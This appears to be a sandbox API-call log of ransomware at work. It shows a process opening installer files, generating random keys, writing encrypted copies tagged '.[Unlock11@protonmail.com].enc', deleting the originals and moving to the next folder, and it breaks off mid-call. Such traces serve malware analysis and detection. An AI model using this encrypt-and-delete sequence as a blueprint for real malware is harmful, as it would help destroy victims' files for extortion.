[0113.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d18 [0113.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0113.952] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.952] GetFileType (hFile=0x39c) returned 0x1 [0113.952] GetLastError () returned 0x0 [0113.952] GetCurrentThreadId () returned 0x9b0 [0113.952] GetLastError () returned 0x0 [0113.952] GetFileType (hFile=0x39c) returned 0x1 [0113.952] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.952] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.952] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.952] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.953] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.953] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.953] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.953] GetLastError () returned 0x0 [0113.953] GetCurrentThreadId () returned 0x9b0 [0113.953] GetLastError () returned 0x0 [0113.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d78 | out: hHeap=0x2ad0000) returned 1 [0113.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0113.953] GetLastError () returned 0x0 [0113.953] GetLastError () returned 0x0 [0113.953] GetLastError () returned 0x0 [0113.954] GetLastError () returned 0x0 [0113.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c08 [0113.954] GetLastError () returned 0x0 [0113.954] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.096] GetFileType (hFile=0x3ac) returned 0x1 [0114.096] GetLastError () returned 0x0 [0114.096] GetCurrentThreadId () returned 0x9b0 [0114.096] GetLastError () returned 0x0 [0114.096] GetFileType (hFile=0x3ac) returned 0x1 [0114.096] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.096] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.097] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.097] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.097] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.097] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.097] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.097] GetLastError () returned 0x0 [0114.097] GetCurrentThreadId () returned 0x9b0 [0114.097] GetLastError () returned 0x0 [0114.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c08 | out: hHeap=0x2ad0000) returned 1 [0114.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0114.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0114.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.097] GetLastError () returned 0x0 [0114.098] GetLastError () returned 0x0 [0114.098] GetCurrentThreadId () returned 0x9b0 [0114.098] GetLastError () returned 0x0 [0114.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.098] GetLastError () returned 0x0 [0114.098] GetLastError () returned 0x0 [0114.098] GetCurrentThreadId () returned 0x9b0 [0114.098] GetLastError () returned 0x0 [0114.098] GetLastError () returned 0x0 [0114.100] GetLastError () returned 0x0 [0114.100] GetCurrentThreadId () returned 0x9b0 [0114.100] GetLastError () returned 0x0 [0114.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d18 | out: hHeap=0x2ad0000) returned 1 [0114.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.101] GetCurrentThreadId () returned 0x9b0 [0114.101] GetLastError () returned 0x0 [0114.101] GetLastError () returned 0x0 [0114.101] GetLastError () returned 0x0 [0114.101] GetLastError () returned 0x0 [0114.101] GetCurrentThreadId () returned 0x9b0 [0114.102] GetLastError () returned 0x0 [0114.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0114.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.102] GetLastError () returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GetCurrentThreadId () returned 0x9b0 [0114.104] GetLastError () returned 0x0 [0114.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.104] GetLastError () returned 0x0 [0114.104] GetLastError () returned 0x0 [0114.104] GetCurrentThreadId () returned 0x9b0 [0114.104] GetLastError () returned 0x0 [0114.105] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x41bf) returned 0x36f8548 [0114.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.105] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x41c5) returned 0x36f8548 [0114.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6c38 [0114.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d78 | out: hHeap=0x2ad0000) returned 1 [0114.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x41c8) returned 0x3887a10 [0114.105] GetCurrentThreadId () returned 0x9b0 [0114.105] GetLastError () returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.105] GetLastError () returned 0x0 [0114.106] GetCurrentThreadId () returned 0x9b0 [0114.106] GetLastError () returned 0x0 [0114.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0114.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.106] GetLastError () returned 0x0 [0114.106] GetLastError () returned 0x0 [0114.106] GetCurrentThreadId () returned 0x9b0 [0114.106] GetLastError () returned 0x0 [0114.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388bbe0 | out: hHeap=0x2ad0000) returned 1 [0114.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.107] GetLastError () returned 0x0 [0114.107] GetLastError () returned 0x0 [0114.107] GetCurrentThreadId () returned 0x9b0 [0114.107] GetLastError () returned 0x0 [0114.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.107] GetLastError () returned 0x0 [0114.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.107] CloseHandle (hObject=0x3ac) returned 1 [0114.108] GetLastError () returned 0x0 [0114.108] GetCurrentThreadId () returned 0x9b0 [0114.108] GetLastError () returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.108] CloseHandle (hObject=0x39c) returned 1 [0114.108] GetLastError () returned 0x0 [0114.108] GetCurrentThreadId () returned 0x9b0 [0114.108] GetLastError () returned 0x0 [0114.108] GetLastError () returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] GetLastError () returned 0x0 [0114.109] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0114.110] GetLastError () returned 0x0 [0114.111] GetCurrentThreadId () returned 0x9b0 [0114.111] GetLastError () returned 0x0 [0114.111] GetCurrentThreadId () returned 0x9b0 [0114.111] GetLastError () returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GetLastError () returned 0x0 [0114.111] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0114.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0114.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0114.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0114.112] GetCurrentThreadId () returned 0x9b0 [0114.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0114.112] GetLastError () returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] GetLastError () returned 0x0 [0114.112] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f75d0 [0114.112] GetLastError () returned 0x0 [0114.112] GetCurrentThreadId () returned 0x9b0 [0114.112] GetLastError () returned 0x0 [0114.113] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.113] GetLastError () returned 0x0 [0114.113] GetCurrentThreadId () returned 0x9b0 [0114.113] GetLastError () returned 0x0 [0114.113] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.113] GetLastError () returned 0x0 [0114.113] GetCurrentThreadId () returned 0x9b0 [0114.113] GetLastError () returned 0x0 [0114.113] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.113] GetLastError () returned 0x0 [0114.113] GetCurrentThreadId () returned 0x9b0 [0114.113] GetLastError () returned 0x0 [0114.113] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.114] GetLastError () returned 0x0 [0114.114] GetCurrentThreadId () returned 0x9b0 [0114.114] GetLastError () returned 0x0 [0114.114] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.114] GetLastError () returned 0x12 [0114.114] GetCurrentThreadId () returned 0x9b0 [0114.114] GetLastError () returned 0x12 [0114.114] GetLastError () returned 0x12 [0114.114] FindClose (in: hFindFile=0x10f75d0 | out: hFindFile=0x10f75d0) returned 1 [0114.114] GetCurrentThreadId () returned 0x9b0 [0114.114] GetLastError () returned 0x12 [0114.114] GetLastError () returned 0x12 [0114.115] GetLastError () returned 0x12 [0114.115] GetLastError () returned 0x12 [0114.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0114.115] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0114.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0114.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0114.117] GetLastError () returned 0x12 [0114.117] GetLastError () returned 0x12 [0114.117] GetLastError () returned 0x12 [0114.117] GetLastError () returned 0x12 [0114.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0114.118] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0114.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.118] GetCurrentThreadId () returned 0x9b0 [0114.118] GetLastError () returned 0x12 [0114.118] GetLastError () returned 0x12 [0114.118] GetLastError () returned 0x12 [0114.118] GetLastError () returned 0x12 [0114.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0114.119] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0114.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0114.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0114.119] GetLastError () returned 0x12 [0114.119] GetLastError () returned 0x12 [0114.119] GetLastError () returned 0x12 [0114.119] GetLastError () returned 0x12 [0114.119] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.119] GetCurrentThreadId () returned 0x9b0 [0114.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0114.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0114.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0114.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.120] GetCurrentThreadId () returned 0x9b0 [0114.120] GetLastError () returned 0x12 [0114.120] GetLastError () returned 0x12 [0114.120] GetLastError () returned 0x12 [0114.120] GetLastError () returned 0x12 [0114.120] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0114.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0114.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0114.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0114.121] GetCurrentThreadId () returned 0x9b0 [0114.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.121] GetLastError () returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GetCurrentThreadId () returned 0x9b0 [0114.121] GetLastError () returned 0x0 [0114.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd68 [0114.121] GetLastError () returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GetCurrentThreadId () returned 0x9b0 [0114.122] GetLastError () returned 0x0 [0114.122] GetCurrentThreadId () returned 0x9b0 [0114.122] GetLastError () returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GetCurrentThreadId () returned 0x9b0 [0114.122] GetLastError () returned 0x0 [0114.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd68 | out: hHeap=0x2ad0000) returned 1 [0114.123] GetLastError () returned 0x0 [0114.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0114.123] GetLastError () returned 0x0 [0114.123] GetLastError () returned 0x0 [0114.123] GetLastError () returned 0x0 [0114.123] GetCurrentThreadId () returned 0x9b0 [0114.123] GetLastError () returned 0x0 [0114.123] GetLastError () returned 0x0 [0114.123] GetLastError () returned 0x0 [0114.123] GetLastError () returned 0x0 [0114.124] GetLastError () returned 0x0 [0114.124] GetCurrentThreadId () returned 0x9b0 [0114.124] GetLastError () returned 0x0 [0114.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0114.124] GetLastError () returned 0x0 [0114.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0114.124] GetLastError () returned 0x0 [0114.124] GetLastError () returned 0x0 [0114.124] GetLastError () returned 0x0 [0114.124] GetCurrentThreadId () returned 0x9b0 [0114.124] GetLastError () returned 0x0 [0114.124] GetCurrentThreadId () returned 0x9b0 [0114.125] GetLastError () returned 0x0 [0114.125] GetLastError () returned 0x0 [0114.125] GetLastError () returned 0x0 [0114.125] GetLastError () returned 0x0 [0114.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0114.125] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c)) returned 1 [0114.125] GetLastError () returned 0x0 [0114.126] GetCurrentThreadId () returned 0x9b0 [0114.126] GetLastError () returned 0x0 [0114.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0114.126] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36641ec | out: pbBuffer=0x36641ec) returned 1 [0114.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0114.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0114.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cb38 [0114.126] GetCurrentThreadId () returned 0x9b0 [0114.126] GetLastError () returned 0x0 [0114.126] GetLastError () returned 0x0 [0114.126] GetLastError () returned 0x0 [0114.127] GetLastError () returned 0x0 [0114.127] GetCurrentThreadId () returned 0x9b0 [0114.127] GetLastError () returned 0x0 [0114.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb38 | out: hHeap=0x2ad0000) returned 1 [0114.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ccf0 [0114.127] GetLastError () returned 0x0 [0114.127] GetLastError () returned 0x0 [0114.127] GetLastError () returned 0x0 [0114.127] GetLastError () returned 0x0 [0114.127] GetLastError () returned 0x0 [0114.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ccf0 | out: hHeap=0x2ad0000) returned 1 [0114.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6c68 [0114.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0114.128] GetLastError () returned 0x0 [0114.128] GetLastError () returned 0x0 [0114.128] GetLastError () returned 0x0 [0114.128] GetLastError () returned 0x0 [0114.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0114.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d08 [0114.128] GetLastError () returned 0x0 [0114.128] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.129] GetFileType (hFile=0x39c) returned 0x1 [0114.129] GetLastError () returned 0x0 [0114.129] GetLastError () returned 0x0 [0114.129] GetFileType (hFile=0x39c) returned 0x1 [0114.129] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.129] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.129] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.129] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.129] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.129] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.129] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.129] GetLastError () returned 0x0 [0114.130] GetLastError () returned 0x0 [0114.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0114.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0114.130] GetLastError () returned 0x0 [0114.130] GetLastError () returned 0x0 [0114.130] GetLastError () returned 0x0 [0114.130] GetLastError () returned 0x0 [0114.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0114.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c28 [0114.130] GetLastError () returned 0x0 [0114.130] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.[Unlock11@protonmail.com].enc" 